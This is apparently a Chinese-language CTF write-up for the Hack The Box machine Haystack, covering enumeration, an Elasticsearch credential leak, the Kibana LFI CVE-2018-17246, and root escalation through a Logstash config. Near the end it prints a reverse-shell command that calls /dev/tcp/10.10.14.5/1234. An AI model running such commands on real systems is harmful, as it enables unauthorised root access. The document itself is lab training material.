Linux/Haystack

Linux/Haystack_第1张图片

Enumeration

nmap

还是先看看端口对外开放情况,对外开放了22,80,9200

Linux/Haystack_第2张图片

22应该是ssh,80是web,9200不知道是什么

TCP/80

访问web,没有什么链接,只有一张图片

Linux/Haystack_第3张图片

有可能图片中有些东西,但还是尝试扫描一下网站目录,但是并没有找到什么有用的东西

把图片下载到本地然后查看一下,使用cat打开图片,发现一个base64编码

将其解码得到一句话

Linux/Haystack_第4张图片

不知道是什么意思,翻译一下,得到了下面这句话

Exploitation

TCP/9200

访问9200端口是一个elasticsearch的API

Linux/Haystack_第5张图片

再次结合之前的提示,会不会是需要在这里搜索"clave"?然后发现这里也有两段编码

Tengo que guardar la clave para la maquina翻译I have to save the key for the machine

Esta clave no se puede perder, la guardo aca翻译This key cannot be lost, I keep it here

将两段编码进行解码得到了用户名和密码

Linux/Haystack_第6张图片

TCP/22

直接使用用户名和密码登录ssh即可,拿到user的flag

Linux/Haystack_第7张图片

查看正在运行的服务,发现了一个5601端口

Linux/Haystack_第8张图片

进一步尝试发现5601端口运行着kibana

Linux/Haystack_第9张图片

进一步搜索,发现kibana是elastic的一部分,主要是为了对数据进行可视化分析探索

Linux/Haystack_第10张图片

在信息收集过程中,发现9200是对外开放的,并且可以看到他的版本是6.4.2,进一步搜索,发现这个版本存在一个本地文件包含漏洞

github中有漏洞利用方法及说明GitHub - mpgn/CVE-2018-17246: CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13

Lateral Movement

CVE-2018-17246

Linux/Haystack_第11张图片

在tmp目录下创建创建js文件

Linux/Haystack_第12张图片

kali开启监听,然后执行payload,得到kibana的shell

Linux/Haystack_第13张图片

Privilege Escalation

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

查找属于kibana组又在proc下的文件,logstash值得关注

可以看到以root身份运行

Linux/Haystack_第14张图片

input.conf中,可以看到正在查找/opt/kibana/logstash_,每10秒查看一次,并将其标记为execute

Linux/Haystack_第15张图片

在filter.conf中,如果有execute,会匹配对应消息

Linux/Haystack_第16张图片

在output.conf中,显示最终会执行cmd

Linux/Haystack_第17张图片

可以根据这一特性,针对性的写一个反弹shell脚本,开启监听,等待最多十秒钟即可

echo "Ejecutar comando: bash -c 'bash -i >& /dev/tcp/10.10.14.5/1234 0>&1'">/opt/kibana/logstash_veg

Linux/Haystack_第18张图片

你可能感兴趣的:(web安全)